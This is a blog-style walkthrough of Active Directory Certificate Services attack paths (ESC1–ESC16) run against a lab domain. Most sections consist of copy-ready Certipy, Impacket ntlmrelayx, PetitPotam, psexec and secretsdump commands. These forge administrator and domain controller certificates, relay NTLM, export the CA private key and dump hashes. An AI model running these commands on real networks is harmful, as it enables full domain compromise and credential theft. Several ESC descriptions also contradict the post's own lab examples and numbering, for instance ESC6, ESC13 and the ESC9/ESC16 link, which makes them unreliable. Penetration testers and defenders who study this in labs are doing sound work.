ADCS (II): Attack Paths
AD CS: Summary of Attack Paths (ESCs)
This post provides an overview of the documented Enterprise Security Configurations (ESCs) that illustrate various attack paths in Active Directory Certificate Services (AD CS). These scenarios demonstrate how misconfigurations or overly permissive settings can be exploited to escalate privileges or maintain persistent access within a Windows domain.
Updated: This post has been updated (2026-03-22) with practical tests performed in a lab environment. Full Certipy commands, test credentials, and a validation checklist are available at ThruntOps — ADCS Attack Paths.
Lab environment
All commands below were tested against the ThruntOps lab. Adapt the following values to your environment:
| Parameter | Value |
|---|---|
| CA name | thruntops-CA |
| CA host | 10.2.50.13 |
| Domain | thruntops.domain |
| DC | 10.2.50.11 |
| Attacker | 10.2.50.250 (Kali) |
Tool: Certipy — pip install certipy-ad
Enumeration (run first):
1
certipy find -u domainuser@thruntops.domain -p 'NV#8SL9#' -dc-ip 10.2.50.11 -stdout
Post-exploitation (common to all ESCs — after obtaining a .pfx):
1
2
3
4
5
6
# Retrieve NT hash via PKINIT (UnPAC-the-Hash)
certipy auth -pfx administrator.pfx -domain thruntops.domain -dc-ip 10.2.50.11
# Use the hash for lateral movement
impacket-psexec -hashes :NTHASH administrator@10.2.50.11
impacket-secretsdump -hashes :NTHASH administrator@10.2.50.11
ESC1: Poorly Configured Templates (Broad EKU or Unrestricted)
- Description: Templates with overly broad EKUs or insufficient restrictions allow users to request certificates that can be used to impersonate privileged accounts.
- References:
Lab (ThruntOps): Template ESC1 has ENROLLEE_SUPPLIES_SUBJECT + Client Authentication EKU. Any Domain Users member can enroll specifying an arbitrary UPN.
1
2
3
4
5
6
7
8
certipy req \
-u domainuser@thruntops.domain \
-p 'NV#8SL9#' \
-dc-ip 10.2.50.11 \
-ca thruntops-CA \
-template ESC1 \
-upn administrator@thruntops.domain
# → administrator.pfx
ESC2: Abuse of the Enrollment Agent Template
- Description: The Enrollment Agent template allows enrollment on behalf of other users. Abuse of this feature can enable an attacker to issue certificates for any account, including high-privilege ones.
- References:
Lab (ThruntOps): Template ESC2 (Certificate Request Agent / Any Purpose EKU) is enrollable by any Domain Users member.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Step 1 — Obtain Enrollment Agent certificate
certipy req \
-u domainuser@thruntops.domain \
-p 'NV#8SL9#' \
-dc-ip 10.2.50.11 \
-ca thruntops-CA \
-template ESC2
# Step 2 — Use EA certificate to enroll on behalf of administrator
certipy req \
-u domainuser@thruntops.domain \
-p 'NV#8SL9#' \
-dc-ip 10.2.50.11 \
-ca thruntops-CA \
-template User \
-on-behalf-of 'thruntops\administrator' \
-pfx domainuser.pfx
# → administrator.pfx
ESC3: Subject Alternative Name (SAN) Controlled by the Requester
- Description: Allowing the requester to control the SAN (e.g., via
ENROLLEE_SUPPLIES_SUBJECT) enables the issuance of certificates with UPNs or SIDs of privileged accounts. - References:
Lab (ThruntOps): Template ESC3 has ENROLLEE_SUPPLIES_SUBJECT. Any domain user can request a certificate specifying an arbitrary UPN.
1
2
3
4
5
6
7
8
certipy req \
-u domainuser@thruntops.domain \
-p 'NV#8SL9#' \
-dc-ip 10.2.50.11 \
-ca thruntops-CA \
-template ESC3 \
-upn administrator@thruntops.domain
# → administrator.pfx
ESC4: Combination of Enrollment Agent and SAN Control
- Description: Combining the ability to enroll on behalf of others with control over the SAN allows attackers to forge certificates for any identity.
- References:
Lab (ThruntOps): Templates ESC3 (Enrollment Agent) + ESC3_CRA (Certificate Request Agent with requester-controlled SAN) implement this combination.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Step 1 — Obtain Enrollment Agent certificate from ESC3
certipy req \
-u domainuser@thruntops.domain \
-p 'NV#8SL9#' \
-dc-ip 10.2.50.11 \
-ca thruntops-CA \
-template ESC3
# Step 2 — Use EA cert to enroll as administrator via ESC3_CRA
certipy req \
-u domainuser@thruntops.domain \
-p 'NV#8SL9#' \
-dc-ip 10.2.50.11 \
-ca thruntops-CA \
-template ESC3_CRA \
-on-behalf-of 'thruntops\administrator' \
-pfx domainuser.pfx
# → administrator.pfx
ESC5: Templates with Overly Permissive EKUs or “Any Purpose”
- Description: Templates that use an “Any Purpose” EKU or combine multiple high-privilege EKUs (such as Server Authentication, Client Authentication, and Smart Card Logon) may be exploited for unintended uses.
- References:
Lab (ThruntOps): The lab implements ESC5 as a user (esc5user) with Domain Admin rights — giving full control over the CA object and the ADCS host itself. This enables CA key access and arbitrary certificate issuance without needing a misconfigured template.
1
2
3
4
5
# esc5user is Domain Admin — use it to control the CA directly
impacket-psexec esc5user:ESC5password@10.2.50.13
# From the ADCS host, grant ManageCA to any account
certutil -config "10.2.50.13\thruntops-CA" -setcaproperty manageca <target_user>
ESC6: Excessive Permissions on the Template
- Description: When broad groups (e.g., “Authenticated Users”) are granted enrollment rights on high-privilege templates, any regular user could potentially obtain a certificate that provides unauthorized access.
- References:
Lab (ThruntOps): Template ESC4 has GenericAll granted to Domain Users on the template object in AD. Any domain user can modify the template (e.g., add ENROLLEE_SUPPLIES_SUBJECT) and then request a certificate as a privileged account.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# Step 1 — Overwrite template to enable ENROLLEE_SUPPLIES_SUBJECT (saves backup)
certipy template \
-u domainuser@thruntops.domain \
-p 'NV#8SL9#' \
-dc-ip 10.2.50.11 \
-template ESC4 \
-save-old
# Step 2 — Request certificate as administrator
certipy req \
-u domainuser@thruntops.domain \
-p 'NV#8SL9#' \
-dc-ip 10.2.50.11 \
-ca thruntops-CA \
-template ESC4 \
-upn administrator@thruntops.domain
# Step 3 — Restore original template
certipy template \
-u domainuser@thruntops.domain \
-p 'NV#8SL9#' \
-dc-ip 10.2.50.11 \
-template ESC4 \
-configuration ESC4.json
# → administrator.pfx
ESC7: Improper Use of UPN Attributes in Certificates
- Description: Failing to properly validate the User Principal Name (UPN) in a certificate request allows attackers to forge certificates with UPNs belonging to higher-privilege accounts.
- References:
Lab (ThruntOps): The CA has EDITF_ATTRIBUTESUBJECTALTNAME2 set, allowing any template with Client Authentication EKU to accept a requester-controlled UPN — regardless of the template’s own SAN flags. Any domain user can request a standard User template certificate specifying an arbitrary UPN.
1
2
3
4
5
6
7
8
certipy req \
-u domainuser@thruntops.domain \
-p 'NV#8SL9#' \
-dc-ip 10.2.50.11 \
-ca thruntops-CA \
-template User \
-upn administrator@thruntops.domain
# → administrator.pfx
ESC8: NTLM Relay to AD CS Web Enrollment Endpoints
- Description: NTLM relay attacks (e.g., via PetitPotam) can redirect authentication to the AD CS Web Enrollment interface, allowing an attacker to request certificates on behalf of a victim.
- References:
Lab (ThruntOps): Web Enrollment (/certsrv/) is enabled at http://10.2.50.13. Triggering DC authentication via PetitPotam and relaying it to the Web Enrollment endpoint yields a DC machine account certificate, enabling DCSync.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Step 1 — Start NTLM relay targeting ADCS Web Enrollment
impacket-ntlmrelayx \
-t http://10.2.50.13/certsrv/certfnsh.asp \
-smb2support \
--adcs \
--template DomainController
# Step 2 — Trigger DC$ authentication to Kali (unauthenticated)
python3 PetitPotam.py -u '' -p '' 10.2.50.250 10.2.50.11
# ntlmrelayx outputs base64-encoded certificate for DC01-2022$
# Step 3 — Decode and authenticate
echo '<BASE64>' | base64 -d > dc01.pfx
certipy auth -pfx dc01.pfx -domain thruntops.domain -dc-ip 10.2.50.11
# → NT hash for DC01-2022$ → DCSync
ESC9: Vulnerable Subordinate or Offline CA Configurations
- Description: A compromised subordinate or offline CA with weak security can enable an attacker to issue arbitrary certificates for any identity in the domain.
- References:
Lab (ThruntOps): The lab implements this via esc5user (Domain Admin), which has full control over the CA host (10.2.50.13). Once compromised, the CA private key can be exported and used to sign arbitrary certificates offline.
1
2
3
4
5
6
7
8
9
10
11
# Access CA host as esc5user (Domain Admin)
impacket-psexec esc5user:ESC5password@10.2.50.13
# Export CA certificate and private key
certutil -exportpfx -p "export_password" thruntops-CA C:\ca_backup.pfx
# Forge certificate offline using the exported CA key (ForgeCert / Certipy)
certipy forge \
-ca-pfx ca_backup.pfx \
-upn administrator@thruntops.domain \
-subject 'CN=Administrator,CN=Users,DC=thruntops,DC=domain'
ESC10: Misuse of Domain Controller Certificate Templates
- Description: If templates intended for Domain Controllers are not properly restricted, attackers may issue certificates that allow them to impersonate a domain controller and gain near-total control.
- References:
Lab (ThruntOps): ESC8 (NTLM relay + PetitPotam) directly obtains a certificate for the DC01-2022$ machine account using the DomainController template. See ESC8 commands above — the result is a DC machine account certificate usable for DCSync.
ESC11: Lack of Validation or Monitoring in Certificate Issuance
- Description: A CA that issues certificates without sufficient approval or logging allows an attacker to obtain certificates unnoticed, facilitating persistence and lateral movement.
- References:
Lab (ThruntOps): The CA has IF_ENFORCEENCRYPTICERTREQUEST disabled, enabling NTLM relay directly over the CA’s RPC interface (no Web Enrollment required). This is the RPC equivalent of ESC8.
1
2
3
4
5
6
7
8
9
10
11
12
# Step 1 — Start RPC relay to CA
impacket-ntlmrelayx \
-t rpc://10.2.50.13 \
-rpc-mode ICPR \
-icpr-ca-name thruntops-CA \
-smb2support \
--adcs \
--template DomainController
# Step 2 — Trigger DC$ authentication (unauthenticated)
python3 PetitPotam.py -u '' -p '' 10.2.50.250 10.2.50.11
# → DC machine account certificate obtained via RPC relay
ESC12: Poorly Managed Revocation and Expiration
- Description: Certificates with long validity periods or weak revocation processes can allow compromised certificates to remain valid long after security measures have changed.
- References:
ESC13: Abuse of msDS-KeyCredentialLink (Shadow Credentials) / Issuance Policy Group Linking
- Description: Exploiting the ability to modify the
msDS-KeyCredentialLinkattribute enables an attacker to associate their own key with a target account, bypassing password-based authentication. - References:
Lab (ThruntOps): The lab implements ESC13 as an issuance policy OID linked to the esc13group group. esc13user can enroll on template ESC13 — the resulting certificate carries the policy OID which grants esc13group membership during PKINIT authentication, inheriting whatever rights that group holds in the domain.
1
2
3
4
5
6
7
8
9
10
11
12
13
# Request certificate as esc13user
certipy req \
-u esc13user@thruntops.domain \
-p 'ESC13password' \
-dc-ip 10.2.50.11 \
-ca thruntops-CA \
-template ESC13
# Authenticate — PKINIT grants esc13group membership
certipy auth \
-pfx esc13user.pfx \
-domain thruntops.domain \
-dc-ip 10.2.50.11
ESC14: Advanced Abuse of Public Key Configurations and Permissions
- Description: This scenario involves manipulating public key pairs and authentication settings to bypass traditional controls, enabling persistent access and privilege escalation.
- References:
Lab (ThruntOps): The lab also includes ESC15 (AltSecurityIdentities mapping) and ESC16 (szOID_NTDS_CA_SECURITY_EXT disabled). ESC16 removes the SID binding from issued certificates — the attack path mirrors ESC9: modify a victim account’s UPN, request a certificate, then restore the UPN.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# ESC16 — szOID_NTDS_CA_SECURITY_EXT disabled on CA
# Domain Users have GenericWrite over esc16user
# Step 1 — Set esc16user UPN to target
certipy account update \
-u domainuser@thruntops.domain \
-p 'NV#8SL9#' \
-dc-ip 10.2.50.11 \
-user esc16user \
-upn administrator@thruntops.domain
# Step 2 — Request certificate as esc16user (UPN now points to administrator)
certipy req \
-u esc16user@thruntops.domain \
-p 'ESC16password' \
-dc-ip 10.2.50.11 \
-ca thruntops-CA \
-template User
# Step 3 — Restore UPN
certipy account update \
-u domainuser@thruntops.domain \
-p 'NV#8SL9#' \
-dc-ip 10.2.50.11 \
-user esc16user \
-upn esc16user@thruntops.domain
# Step 4 — Authenticate (maps to administrator due to missing SID extension)
certipy auth \
-pfx esc16user.pfx \
-domain thruntops.domain \
-dc-ip 10.2.50.11
# → administrator NT hash